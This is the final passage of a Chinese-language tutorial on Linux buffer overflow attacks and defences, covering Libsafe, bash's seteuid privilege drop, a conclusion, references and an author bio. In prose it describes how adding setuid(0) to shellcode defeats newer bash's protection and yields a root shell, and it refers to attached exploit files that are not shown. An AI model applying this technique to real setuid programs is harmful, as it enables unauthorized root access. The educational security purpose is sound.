LD_PRELOAD=/lib/libsafe.so.2
$ ./testlibsafe_static
Segmentation fault (core dumped)
如果在使用gcc編譯時加上-static選項,那麼連結時使用的便是靜態連結庫。在系統已經安裝了Libsafe的情況下,可以看到testlibsafe_static再次產生了Segmentation fault。
另外,正如我們在本文前言中所指出的那樣,如果讀者使用的是較高版本的bash的話,那麼即使您在執行攻擊程式exe之後得到了一個新的shell,您可能會發現並沒有得到您所期望的root許可權。其實這正是的高版本bash的改進之一。由於近十年來緩衝區溢位攻擊屢見不鮮,而且大部分的攻擊物件都是系統中屬主為root的setuid程式,以藉此獲得root許可權。因此以root許可權執行系統中的程式是十分危險的。為此,在新的POSIX.1標準中增加了一個名為seteuid(2)的系統呼叫,其作用在於改變程序的effective uid。而新版本的bash也都紛紛採用了這一技術,在bash啟動執行之初首先通過呼叫seteuid(getuid())將bash的執行許可權恢復為程序屬主的許可權,這樣就出現了我們在高版本bash中執行攻擊程式exe所看到的結果。那麼高版本的bash就已經無懈可擊了嗎?其實不然,只要在通過execve(2)建立shell之前先呼叫setuid(0)將程序的uid也改為0,bash的這一改進也就徒勞無功了。也就是說,你所要做的就是遵照前面所講的系統呼叫規則將setuid(0)加入到shellcode中,而新版shellocde的這一改進只需要很少的工作量。附件中的shellcodeasm3.c和exe_pro.c告訴了你該如何去做。
--------------------------------------------------------------------------------
結束語
安全有兩種不同的表現形式,一種是如果你所使用的系統在安全上存在漏洞,但是黑客們對此一無所知,那麼你可以暫且認為你的系統是安全的;另一種是黑客和你都發現了系統中的安全漏洞,但是你會想方設法將漏洞彌補上,使你的系統真正無懈可擊。你想要的是哪一種呢?聖經上的一句話給出了這個問題的答案,而這句話也被刻在了美國中央情報局大廳的牆壁上:“你應當瞭解真相,真相會使你自由。”
參考資料
Aleph One. Smashing The Stack For Fun And Profit.
Pierre-Alain FAYOLLE, Vincent GLAUME. A Buffer Overflow Study -- Attacks & Defenses.
Taeho Oh. Advanced buffer overflow exploit.
綠盟科技(nsfocus). NSFOCUS 2002年十大安全漏洞, 2002, http://www.nsfocus.net/index.php?act=sec_bug&do=top_ten
王卓威。基於系統行為模式的緩衝區溢位攻擊檢測技術。
developerWorks上的 《使您的軟體執行起來:防止緩衝區溢位》為您列出了標準C庫中所有存在安全隱患的函式以及對這些函式的使用建議。
毛德操,胡希明的《Linux核心原始碼情景分析》向讀者介紹了Linux下嵌入式組合語言的語法。
W.Richard Stevens的《Advanced Programming in the UNIX Environment》為您詳細介紹了uid和effective uid的概念以及setuid(2)和seteuid(2)等相關函式的用法。
Joel Scambray, Stuart McClure, George Kurtz的《Hacking Exposed》向讀者介紹了網路安全的方方面面,從而使讀者對網路安全有更多的瞭解,知道如何去加強安全性。
Intel. Intel Architecture Software Developer's Manual. Intel Corporation.
關於作者
王勇,現在北京航空航天大學計算機學院系統軟體實驗室攻讀計算機碩士學位,主要研究領域為作業系統及分散式檔案系統。